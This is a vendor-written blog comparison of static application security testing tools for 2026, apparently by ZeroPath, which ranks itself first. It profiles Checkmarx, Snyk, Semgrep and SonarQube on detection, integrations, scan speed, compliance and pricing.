**Quick take:** - For enterprise teams that need reduced false positives, highest business logic vulnerability detection, and [compliance automation](https://zeropath.com/solutions/grc) (ISO 27001, SOC 2, PCI-DSS 4.0, NIST 800-53), ZeroPath is the strongest choice. - If you need a single vendor for SAST, SCA, DAST, and container security with deep compliance reporting and 7+ data residency regions, Checkmarx covers the most ground. Though, this kind of vendor lock-in comes with pros and cons especially when vendors like ZeroPath have a higher detection rate, it might be hard to adopt just for SAST. - For developer-first teams that want deep IDE integration (JetBrains, VS Code, Eclipse), container registry scanning (Docker Hub, ECR, Artifactory), and built-in IaC analysis, Snyk has the widest ecosystem. - And if custom rules and open-source matter to your team, [Semgrep](https://github.com/semgrep/semgrep) is the best bet. - For government and defense, only Veracode and Snyk have full FedRAMP Moderate ATO. Checkmarx is High-Ready but not yet authorized. --- ## What is SAST (Static Application Security Testing)? As much as we would like to dive right into our comparison, we would like to bring everyone on the same footing with getting some terms out of the way. First of which is SAST, or Static Application Security Testing. tools [SAST tools](https://owasp.org/www-community/controls/Static_Code_Analysis) (also called static code analysis tools or application security testing tools) analyze your application's source code, bytecode, or binaries for security vulnerabilities, without ever running the program. Scanning happens early in development, often directly in your IDE or CI/CD pipeline, catching issues like SQL injection, cross-site scripting, and authentication bypasses before they hit production. Think of it as a spell checker for security. Except instead of grammar mistakes, these code security tools are finding ways an attacker could break into your app. If you're on the security leadership side, SAST is also becoming a default compliance requirement. [PCI DSS 4.0 Requirement 6.2.4](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance) now mandates automated code review for all custom software. [NIST 800-53 SA-11](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final) requires static analysis for federal systems. And cyber insurers are starting to ask about SAST tooling in their questionnaires. ### How SAST works The answer to this question has changed a lot in the last 5 years. Tools like ZeroPath have redesigned SAST engines from the ground up to be AI-native and context-aware. More on that later. Most SAST tools follow a basic pattern: 1. **Parse the code** into an abstract syntax tree (AST): a structured representation of what your code actually does 2. **Apply security rules**: pattern matching, taint analysis, and dataflow tracking to follow user input from source to sink 3. **Report findings** with file location, severity, and (ideally) a fix suggestion 4. **Modern AI-powered tools** add a fourth step: using LLMs or ML models for context-aware analysis that understands code semantics, not just patterns The biggest difference between SAST tools comes down to that last point. Traditional rule-based engines (Checkmarx, SonarQube) match known vulnerability patterns. AI-native tools like ZeroPath understand what your code is *trying to do*, which means they catch logic bugs that pattern matchers miss and flag fewer false positives in the process. If this piques your curiosity, you should read about [how ZeroPath works](https://zeropath.com/blog/how-zeropath-works) behind the scenes. --- ## SAST vs DAST vs SCA: What's the Difference? It's likely that you have already run into these terms by now and they could be confusing. Here's how they differ:
| | SAST | DAST | SCA | | ----------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------- | --------------------------------------------------------------------------------------------------------------------------------- | | **What it scans** | Source code / bytecode | Running application | Third-party dependencies | | **When it runs** | During development | After deployment | During build / CI | | **What it finds** | Code-level vulnerabilities (for example these vulnerabilities in [FFmpeg](https://zeropath.com/blog/autonomously-finding-7-ffmpeg-vulnerabilities-with-ai-2025)) | Runtime vulnerabilities | Known CVEs in libraries (for example [CVE-2025-59529](https://zeropath.com/blog/avahi-simple-protocol-server-dos-cve-2025-59529)) | | **False positive rate** | Medium-High (rule-based) to Low (AI-powered) | Low | Low | | **Requires access to** | Source code | Application URL | Package manifests | | **Example tools** | ZeroPath, Checkmarx, Semgrep | OWASP ZAP, Burp Suite | ZeroPath, Snyk, Dependabot |
### Do you need all three? Yes. They catch completely different things. SAST finds vulnerabilities *you* wrote: the SQL injection in your query builder, the [broken auth check](https://zeropath.com/blog/breaking-authentication-unauthenticated-api-key-creation-in-better-auth-cve-2025-61928), etc. SCA finds vulnerabilities *someone else* wrote: the known CVE in that npm package you might have installed. DAST finds what both miss: the runtime issues that only show up when the application is actually running. A mature AppSec program uses SAST + SCA + DAST at minimum. Several tools in this guide like ZeroPath, Snyk, Checkmarx, and Cycode combine SAST and SCA in a single platform, which cuts down on tool sprawl. --- ## How to Choose the Right SAST Tool Every company has their own priorities and expectations, so it's important that you sit down with your appsec team and discuss what's actually keeping you from shifting left and how you can accelerate it. We have analyzed over 100 introductory calls including those we had with Fortune 500 security teams and it comes down to a certain few features that every enterprise expects from their SAST vendors. We have seen teams waste months evaluating tools on the wrong criteria, so hopefully this saves you some time. ### 1. Detection accuracy and false positive rate This is the single most important factor. With the sophistication of modern attacks, it's not just about catching SQL injections anymore. In fact, [IDORs have become much more common than ever](https://zeropath.com/blog/idor-crisis-2025). Your tool needs to find business logic vulnerabilities like broken authentication, authorization bypasses, and race conditions. Most rule-based engines simply can't do this because you can't write a regex for "this auth check is wrong." This problem is also closely coupled with the false positive rate. Many tools have tried to catch more vulns but ended up flooding teams with noise. Checkmarx, Veracode, and Semgrep have all struggled with this because their rule-based engines flag anything that *could* be a vulnerability, regardless of context. AI-powered tools like ZeroPath take a different approach. They use AI models to figure out whether a flagged pattern is actually exploitable, which brings false positives way down. ### 2. CI/CD and developer workflow integration Every competitive tool on this list integrates with GitHub Actions, GitLab CI, Azure DevOps, and Jenkins. What actually separates tools is developer-friendly integration: how deeply they fit into your workflow once they're connected, and how low the setup complexity is to get there: - **PR-level scanning**: Does it comment inline on the exact lines with issues, or just pass/fail the build? - **Incremental scanning**: Does it only scan changed files, or re-scan the entire repo every time? - **Policy gating**: Can you block merges for critical/high findings but allow medium/low? - **Speed**: A scan that takes 45 minutes breaks your CI/CD flow. Semgrep finishes in seconds. Veracode's full scan can take hours. One thing that often gets overlooked is how closely does a team work with you to ensure your problems actually get solved and you are able to make the best out of the tool. Most SAST vendors take the self-serve approach. At ZeroPath, we understand how much security means to you. We sit down with every customer, walk through their repos, configure policies together, and stay in a shared Slack channel long after onboarding is done. ### 3. Custom rules and extensibility Custom rules have always been a big part of getting more out of your SAST tool. The right set of rules can double your detection coverage. Traditionally, engineers would write vulnerability patterns and grep for them across the codebase. Semgrep uses YAML-based rule format lets you write custom rules in minutes. Checkmarx has CxQL (powerful but steep learning curve). Most other tools offer some form of custom rules but with more friction. As you might have guessed, this means you are writing a rule for every single edge case. It gets more and more complicated and harder to maintain over time. With AI-native SAST engines like ZeroPath, you can now write [rules in natural language](https://zeropath.com/products/policy-engine). You describe any edge case to the engine and it takes care of the rest. This has enabled even non-security developers and non-technical teams to write rules for their codebases. ### 4. Language and framework support As much as you would like to see a high number here, it might actually backfire. There's a difference between "we support Python" and "we deeply analyze Django ORM queries for SQL injection through template rendering." Many tools try to bloat this number for competitive purposes, so we would advise you to look deeper than the headline metric. Enterprise tools like Checkmarx (35+ languages) and SonarQube (35+ languages) have the broadest coverage. Semgrep leads with 40+ languages but coverage depth varies. ZeroPath supports 30+ languages with deep analysis, and Snyk Code covers 19+ with ML-powered scanning. ### 5. Remediation guidance and auto-fix With more and more developers moving to AI-assisted development, it's expected from SAST solutions to be able to generate one-click fixes. Most SAST tools have implemented some version of auto-fix but it largely varies across these 3 categories: 1. **"You have a vulnerability"** (just a finding, no guidance) 2. **"Here's how to fix it"** (explanation + code suggestion) 3. **"We fixed it for you, approve this PR"** (automated remediation) ZeroPath, Snyk, and Checkmarx all offer AI-powered auto-fix capabilities that generate pull requests with proposed fixes. SonarQube added AI CodeFix in 2025. Semgrep's Assistant can auto-triage findings and suggest fixes. ### 6. Scan speed and performance It can be annoying to wait minutes for a PR scan to finish. But a fast scan doesn't necessarily mean it's a good one. Many fast PR scans are basically grepping for known vulnerability patterns, and even a slightly complicated bug can slip right through. Here's roughly where each tool lands:
| Tool | Typical Scan Time | Why | | ------------------- | ---------------------- | ------------------------------------------------------------- | | Semgrep | Seconds | Pattern matching is fast. No deep dataflow in OSS tier. | | Snyk Code | Under a minute | ML inference is quick. Cloud-based analysis. | | ZeroPath | Under 2 minutes per PR | LLM-powered deep analysis takes more time but catches more. | | Checkmarx | 5-30 minutes | Deep cross-file taint analysis. Improving with Checkmarx One. | | SonarQube | 2-10 minutes | Depends on project size and rules enabled. | | Veracode | 2-15 minutes | Limited scope scan. |
### 7. Compliance, reporting, and enterprise readiness If you're in finance, healthcare, or government, compliance reporting isn't optional. And it's usually a pain. You need: - [OWASP Top 10](https://zeropath.com/blog/what-is-owasp) and CWE mapping on every finding - SOC 2, PCI DSS, HIPAA, or FedRAMP compliance reports - Executive dashboards with trend lines - Audit trails showing who triaged what and when - Framework mapping to [PCI DSS 4.0](https://zeropath.com/blog/how-to-meet-security-requirements-for-pci-dss-compliance) (Requirement 6.2.4 now mandates automated code review tools), [NIST 800-53](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final) (control SA-11), and for EU financial services, [DORA](https://www.eiopa.europa.eu/digital-operational-resilience-act-dora_en) Most tools claim to support "all major frameworks" but the depth varies. Make sure they cover the specific ones you need. Beyond the reports themselves, there's the enterprise infrastructure around the tool that IT executives and CISOs care about: - **SSO and RBAC**: Can you enforce SAML/OIDC authentication and role-based access controls? - **Data residency**: Where does your code go during scanning? If you're in the EU, GDPR requires you to know. - **GRC platform integration**: Does the tool feed into your existing governance workflow? - **SLA monitoring and MTTR tracking**: [Veracode's 2025 data](https://www.veracode.com/press-release/public-sector-application-risk-accumulates-as-security-debt-grows-across-government-systems/) shows the average time to fix half of outstanding vulnerabilities is 252 days. Your SAST tool should help you track MTTR and enforce vulnerability SLAs. ZeroPath's [enterprise dashboard](https://zeropath.com/solutions/enterprise) tracks MTTR trends, SLA breaches, and risk deltas by business unit. - **FedRAMP**: If you're in government or defense, only Veracode (Moderate ATO) and Snyk (Moderate ATO) are fully FedRAMP authorized today. Checkmarx is High-Ready but not yet authorized. ### 8. Pricing model and total cost The way SAST tools price themselves varies wildly and it catches a lot of teams off guard. - **Per-developer/seat**: Snyk ($25/dev/month), ZeroPath ($1,000/mo base + $60/dev/month), Semgrep ($35/contributor/month per product for paid tier) - **Per-application**: Veracode (each app needs its own license) - **Lines of code**: SonarQube (scales with codebase size) - **Flat enterprise**: Checkmarx (~$40-59K/year base) Most SAST vendors hide their pricing behind "contact sales" pages, making it impossible to compare costs without sitting through demos. Moreover, code volume has more than doubled in the last few years with AI-generated code, and tools that charge by lines of code or per-scan are seeing their bills skyrocket. Per-developer models are the most predictable, but you need to fully understand how a "developer" is counted. Snyk counts anyone who committed to a monitored repo in the last 90 days. For ZeroPath, we count only the developers who are going to be using the tool on a day-to-day basis. --- ## The 7 Best SAST Tools in 2026 ### 1. ZeroPath (Best Overall) ![ZeroPath SAST platform](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/best-ai-sast-2026/zeropath.png) ZeroPath is one of the first fully AI-native application security platform, taking a fundamentally different approach to SAST: instead of pattern matching with static rules, it uses large language models to actually understand what your code does and whether it's vulnerable. The result is a SAST engine that catches business logic vulnerabilities like broken authentication, authorization bypasses, and race conditions that traditional SAST tools simply can't detect. Aptos Labs, one of the leading layer 1 blockchain platforms, [chose ZeroPath after evaluating it head-to-head against Semgrep, Snyk, Aikido and more](https://zeropath.com/blog/aptos-labs-rust-ai-application-security). During testing, ZeroPath surfaced a subtle replay-related vulnerability in a vendor library that none of the rule-based scanners caught. Andrea, their Head of Security, described the finding as looking "like something a person spent real time discovering." As he put it, > "We got really surprised... ZeroPath figured out improper usage of a library from a big vendor. It's not something you can easily get from a simple Semgrep rule." #### Recent Developments - Selected as a [Top 10 Finalist for the RSAC 2026 Innovation Sandbox Contest](https://www.rsaconference.com/usa/programs/innovation-sandbox), one of the most prestigious recognitions in cybersecurity - Autonomously discovered 32+ vulnerabilities in major open-source projects: - [FFmpeg](https://zeropath.com/blog/autonomously-finding-7-ffmpeg-vulnerabilities-with-ai-2025) - 7 memory safety flaws including heap buffer overflows, integer overflows, and null pointer dereferences in protocol handlers and parsers - [curl](https://zeropath.com/blog/how-zeropath-won-over-curl-with-170-valid-bugs) - 170+ valid bugs spanning memory safety issues, logic errors, and edge case handling in a codebase that already runs Coverity, CodeQL, and OSS-Fuzz - [Better Auth](https://zeropath.com/blog/breaking-authentication-unauthenticated-api-key-creation-in-better-auth-cve-2025-61928) - Unauthenticated API key creation (CVE-2025-61928), a broken authentication flaw that allowed complete account takeover - [OpenClaw](https://zeropath.com/blog/openclaw-clawdbot-credential-theft-vulnerability) - Credential theft vulnerability in ClawdBot enabling unauthorized access to stored credentials - Recognized by Latio as a leading AI SAST tool. Latio's founder [identified ZeroPath as one of the three biggest LLM-based SAST engines](https://www.linkedin.com/posts/zeropathai_were-excited-to-be-recognized-by-latio-as-activity-7429600436489433088-Gpjx?utm_source=share&utm_medium=member_desktop&rcm=ACoAADNLDS4BlGeZJQ_4zL73BwJHOT5J9hiudWM). - Curl's maintainer Daniel Stenberg, who has been [famously vocal against AI-generated bug reports](https://daniel.haxx.se/blog/2025/08/18/ai-slop-attacks-on-the-curl-project/), publicly said he was "[almost blown away by the quality](https://mastodon.social/@bagder/115241314074965388)" of ZeroPath's findings with "actually truly awesome findings." - Independent security researcher Joshua Rogers, who [tested every major AI SAST tool on the market](https://joshua.hu/retrospective-zeropath-ai-sast-source-code-security-scanners-vulnerability), called ZeroPath "the best product I tried... intimidatingly good at finding normal bugs." #### Key Features - **LLM-powered context-aware analysis** that understands code semantics, not just patterns - **Business logic vulnerability detection** including auth bypasses, IDORs, race conditions and more - **Automated remediation** with AI-generated pull requests for detected vulnerabilities - **Zero-configuration setup** that takes under 5 minutes to kickoff your 1st scan - **[Natural language policy engine](https://zeropath.com/products/policy-engine)** for writing custom security rules without learning a DSL - **Combined SAST + SCA + secrets + IaC scanning** in a single platform - **Transparent pricing** that only charges for developers actually using the platform and not based on the line of code - **1 step solution for importing scans** from previous scanners like Snyk, Semgrep, Aikido and more - **IaC scanning** for Terraform, CloudFormation, Helm, and Pulumi - **Jira, Linear and Slack integrations** for ticketing and notification workflows - **[Compliance automation](https://zeropath.com/solutions/grc)** with framework mapping to ISO 27001, SOC 2, PCI-DSS 4.0, and NIST 800-53. Immutable audit trail with signed SBOMs for auditor-ready evidence - **[Enterprise dashboard](https://zeropath.com/solutions/enterprise)** with MTTR tracking, SLA breach monitoring, risk deltas by business unit, and executive reporting - **GRC integrations** with Vanta, Drata, and ServiceNow for automated compliance evidence collection - **AI-specific vulnerability detection** for prompt injection, training data exposure, and other LLM-related risks that emerge as teams build with AI. No rule updates needed since the engine adapts automatically - **On-premise deployment** available for organizations with strict data residency and compliance requirements - **SSO/SAML** via WorkOS with granular RBAC and multi-tenant support for MSPs - **Hands-on onboarding** with every customer. A 24x7 Slack support channel even after onboarding for continuous support #### Language Support ZeroPath supports 30+ languages with deep analysis including Python, JavaScript/TypeScript, Java, Go, Ruby, PHP, C#, Kotlin, Swift, Rust, and more. Because the analysis is LLM-based rather than rule-based, adding new language support doesn't require building a separate rule set from scratch. #### Pricing ZeroPath starts at $1,000/month base plus $60/developer/month. A 14-day free trial is available for all plans. We count only the developers actively using the tool on a day-to-day basis, not everyone who has ever committed to a repo or the lines of code. #### Pros 1. World class SAST and SCA which has highest detection for business logic vulnerabilities 2. Strong community belief in the product 3. Highly involved team which is available 24x7 for support and continuous help via slack even after onboarding ends 4. In-depth PR scans that complete in under 2 minutes. Slower than Semgrep's sub-second scans but significantly more thorough. 5. Deep support for languages like Rust, COBOL, Move and more that most SAST tools either ignore or only superficially cover. 6. Proven ability to find [logic vulnerabilities in niche domains like blockchain](https://zeropath.com/blog/aptos-labs-rust-ai-application-security). #### Cons 1. IDE integration is still in early stages **Best for:** Enterprise teams and AppSec engineers who are serious about finding business logic vulnerabilities with reduced false positives and comprehensive coverage across SAST, SCA, and secrets. --- ### 2. Checkmarx (Best All-in-One Security Suite) ![Checkmarx SAST platform](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/best-ai-sast-2026/checkmarx.png) Founded in 2006 in Israel and acquired by Hellman & Friedman for $1.15B in 2020. If your security team has been around for a while, chances are they've used or evaluated Checkmarx at some point. The platform is comprehensive. Checkmarx One combines SAST, SCA, DAST, IAST, API security, IaC scanning, and container scanning into a single platform with unified dashboards and compliance reporting. It's the closest thing to a "buy one vendor for everything" approach in the AppSec market. #### Key Features - **Deep data flow analysis** with interprocedural taint tracking across 35+ languages and 200+ CWE coverage - **Unified platform** covering SAST, SCA, DAST, IAST, API, IaC, container, and secrets scanning - **CxQL custom rule language** for writing detection rules tailored to your frameworks - **AI-powered Developer Assist** for triage and remediation suggestions (added 2025) - **FedRAMP High-Ready** (not yet full ATO) with 7+ data residency regions across US, EU, and APAC - **Deepest compliance reporting** in the market: SOC 2, PCI DSS 4.0, HIPAA, FISMA, NIST 800-53, ISO 27001. Auditor-ready templates with full audit trail - **Enterprise access control** with SAML SSO, SCIM provisioning, 8+ RBAC roles, and ServiceNow/Splunk/SOAR integrations #### Language Support Checkmarx supports 35+ languages and 80+ frameworks. It has particularly deep analysis for Java, C#, JavaScript, and Python. Enterprise languages like COBOL and ABAP are supported through the on-premises offering. #### Pricing Checkmarx does not publish pricing publicly. Based on industry data, enterprise licenses typically start around [$40,000-$59,000/year](https://www.g2.com/products/checkmarx-one/pricing) for a base package. There is no free tier. Implementation often requires additional professional services investment. #### Pros 1. True all-in-one platform (SAST + SCA + DAST + IAST + API + IaC + container) reduces tool sprawl 2. As an all-in-one platform, Checkmarx gives you the most comprehensive view of your security posture 3. Supports legacy enterprise languages that most other SAST tools don't touch, like COBOL and ABAP 4. FedRAMP High-Ready, which means if your company deals with government contracts or is working toward FedRAMP authorization, Checkmarx is one of the few vendors that's close to full compliance #### Cons 1. High false positive rate (~36%) that requires significant triage effort from security teams 2. Slow scan times (25-45 minutes on full codebases) that make it impractical as a PR gate for many teams 3. Expensive ($40K+ minimum) with no free tier, making it inaccessible for smaller organizations 4. No detection for AI-specific vulnerabilities like prompt injection or training data exposure. As teams increasingly build with LLMs, this is a growing blind spot **Best for:** Enterprises that need comprehensive, compliance-ready application security under one roof and can absorb the cost and complexity. #### Frequently Asked Questions About Checkmarx
How much does Checkmarx cost? Checkmarx does not publish pricing publicly. Based on industry data, Checkmarx One enterprise licenses typically start around $40,000-$59,000/year for a base package. Pricing scales with the number of users, applications scanned, and add-on modules. You'll need to request a custom quote from Checkmarx directly.
Is Checkmarx better than SonarQube for security? Yes, for pure security scanning Checkmarx is significantly more capable. SonarQube is primarily a code quality tool where roughly 85% of its rules focus on code quality and only ~15% on security. Checkmarx is purpose-built for security with deep taint analysis, cross-file tracking, and compliance reporting. However, SonarQube is much cheaper and better suited if code quality is your primary concern. Many teams use both: SonarQube for quality gates and Checkmarx for security scanning.
Does Checkmarx support custom SAST rules? Yes. Checkmarx allows custom query creation using its CxQL (Checkmarx Query Language). Enterprise teams can write rules tailored to their internal frameworks, coding standards, and proprietary APIs. However, CxQL has a steep learning curve compared to [Semgrep's YAML-based rules](https://semgrep.dev/docs/writing-rules/overview/) and ZeroPath's [natural language rules](https://zeropath.com/products/policy-engine). If custom rules are a priority, the best option is to go with natural language rules supported by ZeroPath and other AI-native SAST engines.
### 3. Snyk Code (Best for Integrations) ![Snyk Code SAST platform](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/best-ai-sast-2026/snyk.png) Started in 2015 as an SCA (dependency scanning) tool and has since grown into a full developer security platform. SAST capabilities came via the DeepCode acquisition in 2020, which powers "Snyk Code," their ML-based static analysis product. Snyk's real strength is the breadth of its integration ecosystem. Beyond the standard GitHub/GitLab/Bitbucket support, Snyk integrates with JetBrains, VS Code, Eclipse, and Visual Studio for real-time scanning. It connects to container registries (Docker Hub, ECR, ACR, Artifactory), IaC platforms (Terraform, CloudFormation, Helm), and even AI coding assistants like GitHub Copilot and Gemini Code Assist. Being one of the oldest in the industry has given them enough time to build both horizontally and vertically. #### Key Features - **ML-powered SAST** (Snyk Code) with real-time IDE scanning and ~45-second PR scan times - **Industry-leading SCA** with the largest proprietary vulnerability database - **80% auto-fix accuracy** on generated patches - **Container scanning** for Docker, Kubernetes, ECR, GCR, and Artifactory - **IaC scanning** for Terraform, CloudFormation, Helm, and Pulumi - **FedRAMP Moderate ATO** with US, EU, and APAC data residency options. HIPAA BAA available - **Jira, Slack, ServiceNow, and Splunk integrations** for enterprise ticketing and SIEM workflows #### Language Support Snyk Code supports 19+ languages including JavaScript/TypeScript, Python, Java, Go, Ruby, PHP, C#, Kotlin, and Swift. While the language count is lower than Checkmarx or Semgrep, Snyk's ML-based analysis provides strong coverage depth for supported languages. #### Pricing Snyk has a free tier with limited scans (200 SCA tests/month, 100 SAST tests/month). Team plans start at $25/developer/month. Enterprise pricing jumps to ~$110/developer/month ($1,260/year on the "Ignite" plan). Pricing can scale aggressively past 10 developers. #### Pros 1. Widest integration ecosystem in the market: JetBrains IDEs, container registries, IaC platforms, AI coding assistants, Jira, Slack 2. 80% auto-fix accuracy with AI-generated patches, significantly ahead of competitors on automated remediation 3. Fastest scan times among full-platform vendors (~45 seconds for PR scans) #### Cons 1. SAST (Snyk Code) is generally considered less mature than dedicated SAST tools like ZeroPath for catching complex custom code vulnerabilities 2. Per-developer pricing scales quickly for larger teams, and the best features (reachability analysis) are locked to the most expensive tiers 3. Detection logic is a black box. Custom rules are Enterprise-only and written in a proprietary DSL, unlike Semgrep's transparent YAML approach 4. No native detection for AI-specific vulnerabilities like prompt injection or training data exposure. As more teams ship LLM-powered features, this becomes a real gap **Best for:** Development-heavy organizations that want a unified platform across SAST, SCA, containers, and IaC with the widest integration ecosystem and fastest developer feedback loops. Also for teams who are primarily focused on SCA. #### Frequently Asked Questions About Snyk
Is Snyk worth the price? It depends on your use case. Snyk excels at SCA (dependency scanning). It's arguably the best in the market for identifying vulnerable open-source libraries. However, Snyk's SAST capabilities (Snyk Code) are newer and less mature than dedicated SAST tools like ZeroPath. At $25/developer/month (Team) to $110/developer/month (Enterprise), costs add up quickly for larger teams. Many developers report that free alternatives like Trivy + Dependabot cover ~80% of Snyk's SCA functionality at zero cost. Snyk is worth it if you need a unified platform, but may be overpaying if you only need SAST.
Does Snyk do SAST or just SCA? Snyk offers both. It started as an SCA tool and later added SAST via "Snyk Code" (acquired from DeepCode in 2020). Snyk Code uses ML-powered analysis for real-time SAST scanning directly in the IDE and CI/CD pipeline. However, Snyk's SAST is generally considered less mature than its SCA product. If SAST is your primary need, purpose-built tools like ZeroPath, Checkmarx, or Semgrep may be stronger choices.
Snyk vs GitHub Advanced Security: which should I choose? GitHub Advanced Security (GHAS) is a strong choice if your entire workflow is on GitHub. GHAS includes CodeQL for SAST, secret scanning, and Dependabot for SCA, all natively integrated. It's free for public repos and costs $49/committer/month for private repos. Snyk offers broader platform support (GitHub, GitLab, Bitbucket, Azure DevOps), stronger SCA depth, and more remediation guidance. Choose GHAS if you're GitHub-only and want simplicity. Choose Snyk if you need multi-platform support or best-in-class SCA.
### 4. Semgrep (Best Open Source / Best for Fast Scans) ![Semgrep SAST platform](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/best-ai-sast-2026/semgrep.png) Founded in 2017 by R2C Inc. The tool started as a fully open-source project and quickly became a developer favorite for its speed, simplicity, and transparent rule format. Semgrep's core pitch is quite simple: write security rules in YAML that look like the code you're scanning. No proprietary query language to learn, no black-box AI to trust blindly. In January 2025, Semgrep changed the licensing on its core engine, which led to the [Opengrep community fork](https://opengrep.dev/). This has eroded some of the open-source trust that made Semgrep popular in the first place. #### Key Features - **Blazing fast scans** at 20,000-100,000 lines of code per second (typical PR scan finishes in seconds) - **YAML-based custom rules** that developers can write and modify in minutes - **3,000+ community rules** in the [Semgrep Registry](https://semgrep.dev/explore) - **Semgrep Assistant** (AI-powered triage) that reduces false positives by 60% at 96% agreement rate - **Semgrep Supply Chain** for SCA with reachability analysis - **40+ language support** with varying analysis depth #### Language Support Semgrep supports [40+ languages](https://semgrep.dev/docs/supported-languages/) including Python, JavaScript/TypeScript, Java, Go, Ruby, C/C++, C#, Kotlin, Scala, PHP, Rust, and Swift. Coverage depth varies: some languages get full cross-file analysis (in Pro), while others are limited to single-file pattern matching in the free tier. #### Pricing The open-source Community Edition is free (LGPL licensed) with single-file analysis and community rules. Team tier is $35/contributor/month per product (Code, Supply Chain, or Secrets). Bundling multiple products increases the cost. Enterprise pricing requires contacting sales. The [Opengrep fork](https://opengrep.dev/) maintains the free engine if licensing concerns arise. #### Pros 1. Fastest scanning in the market (seconds, not minutes) making it perfect for CI/CD integration without any developer friction. Though, that doesn't mean that they have the most comprehensive PR scans 2. Transparent, customizable rules in human-readable YAML. You can write a custom rule in 2-5 minutes vs 60+ minutes for Checkmarx's CxQL 3. Strong free tier and low-cost paid plans make it accessible for teams of any size #### Cons 1. OSS edition is limited to single-file analysis. Meaningful cross-file security analysis (taint tracking across files) requires Semgrep Pro 2. YAML based rules are definitely better than Checkmarx's CxQL but at the same time less flexible than ZeroPath's natural language policies 3. Default detection rate is lower than enterprise tools unless you spend time configuring custom rules. 4. January 2025 licensing changes and the Opengrep fork have created uncertainty about the project's open-source future 5. Rule-based architecture means no detection for AI-specific vulnerability classes like prompt injection or training data exposure. You would need to write custom rules for each new AI attack pattern manually **Best for:** Budget-conscious teams, developers who want full control over their security rules, and organizations that value speed and transparency over deep enterprise analysis. #### Frequently Asked Questions About Semgrep
Is Semgrep still open source? Partially. In January 2025, Semgrep changed the licensing of its core engine, which led to a community fork called Opengrep. The open-source Community Edition still exists with single-file analysis and community rules. However, cross-file analysis, proprietary rules, and advanced features like Semgrep Supply Chain require a paid Semgrep Pro license. If you need a fully open-source SAST tool, Opengrep or tools like Bandit (Python-only) are alternatives.
Can I write custom Semgrep rules? Yes, this is one of the Semgrep's biggest strength. Semgrep uses a YAML-based rule format that's much easier to write than traditional SAST rule languages. You can create custom rules in minutes to match patterns specific to your codebase, internal frameworks, or security policies. Semgrep also has a registry of 3,000+ community-contributed rules. Though, if you wish your rules to cover majority of edge cases, you might want to consider Zeropath's natural language rules.
How does Semgrep compare to Checkmarx? They serve different segments. Semgrep is developer-first: fast, lightweight, open-source core, and great for teams that want to write custom rules. Checkmarx is enterprise-first: comprehensive compliance reporting, 35+ language support, and deep taint analysis, but slower and far more expensive ($40K+/yr vs Semgrep's lower entry point). Semgrep is better for DevOps teams that want speed and customization. Checkmarx is better for regulated enterprises that need compliance dashboards and audit trails.
### 5. SonarQube ![SonarQube code analysis platform](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/best-ai-sast-2026/sonarqube.png) Founded in 2008 by SonarSource is of the most widely deployed code analysis tool. SonarQube is primarily a code quality tool, not a security tool. Roughly 85% of its rules focus on bugs, code smells, and maintainability. Only about 15% address actual security vulnerabilities. If you're evaluating it purely for SAST, you should understand that distinction. That said, SonarQube added [Advanced Security features in 2025](https://www.sonarsource.com/solutions/security/) including cross-file taint analysis and SCA as a paid add-on. It's getting more capable on the security side, but it's still not a replacement for a dedicated SAST tool if security is your primary concern. We have seen high churn rate associated with SonarQube customers who are primarily dissatisfied with the low detection rates. #### Key Features - **35+ language support** including enterprise languages like COBOL, ABAP, and RPG that most competitors don't cover - **"Clean as You Code" philosophy** that focuses quality gates on new code rather than overwhelming you with legacy technical debt - **Free Community Edition** with no user limits - **SonarLint IDE integration** for real-time feedback in VS Code, JetBrains, Eclipse, and Visual Studio - **AI CodeFix (2025)** for AI-generated fix suggestions - **Advanced Security add-on (2025)** adding cross-file taint analysis and SCA #### Language Support SonarQube supports [35+ languages](https://www.sonarsource.com/knowledge/languages/) with particularly strong coverage for Java, C#, JavaScript/TypeScript, Python, and C/C++. It's one of the few tools that supports enterprise languages like COBOL, ABAP, Apex, PL/I, and RPG, which matters for legacy enterprises. #### Pricing SonarQube Community Edition is free and open-source. Developer Edition starts at ~$150/year. Enterprise Edition starts at ~$20,000/year for 5M lines of code. The Advanced Security add-on (SCA + advanced SAST) costs an additional ~$35,700/year on Enterprise. SonarCloud (the hosted version) offers a free tier for public projects. #### Pros 1. The most generous free tier in the market. Community Edition has no user limits and supports 30+ languages for code quality analysis 2. Broadest enterprise language support (COBOL, ABAP, RPG) that most modern SAST tools don't touch #### Cons 1. It's a code quality tool first, security tool second. 85% quality rules vs 15% security rules means it's not sufficient as your only SAST tool 2. SCA is only available as a paid add-on ($35,700/year extra on Enterprise), which nearly doubles the total cost 3. Self-hosting SonarQube Server requires managing a JVM, database, and ongoing maintenance. Large monolithic apps can take 4.5+ hours to analyze 4. No detection for AI-specific vulnerabilities. As a rule-based engine focused on code quality, SonarQube cannot catch prompt injection, training data exposure, or other LLM-related security issues **Best for:** Organizations that need comprehensive code quality metrics alongside basic security scanning, and teams with enterprise languages (COBOL, ABAP) that other tools don't support. #### Frequently Asked Questions About SonarQube
Is SonarQube a SAST or DAST tool? SonarQube is technically a SAST tool, it performs static analysis on source code. However, it's primarily a code quality platform, not a security tool. About 85% of its rules focus on code quality (bugs, code smells, maintainability) and only ~15% on security vulnerabilities. It does not perform DAST. For security-focused SAST, dedicated tools like ZeroPath, Checkmarx, or Semgrep provide significantly deeper vulnerability detection.
Is SonarQube free? SonarQube Community Edition is free and open-source for self-hosted use. It supports 30+ languages and covers basic code quality rules. However, the free edition does NOT include security-focused taint analysis, branch analysis, or security hotspot detection. Those require paid editions (Developer at ~$150/yr, Enterprise at ~$20,000/yr). SonarCloud (the hosted version) offers a free tier for public projects.
SonarQube Community vs Developer vs Enterprise: what's the difference? **Community (free):** Basic code quality rules, 30+ languages, no security taint analysis, single-branch only. **Developer (~$150/yr):** Adds branch/PR analysis, security taint analysis, and security hotspot detection. **Enterprise (~$20,000+/yr):** Adds portfolio management, project transfer, multi-language analysis in single project, and SCA (added in 2025 as add-on at ~$35.7K/yr extra). For security scanning, you need at minimum the Developer edition.
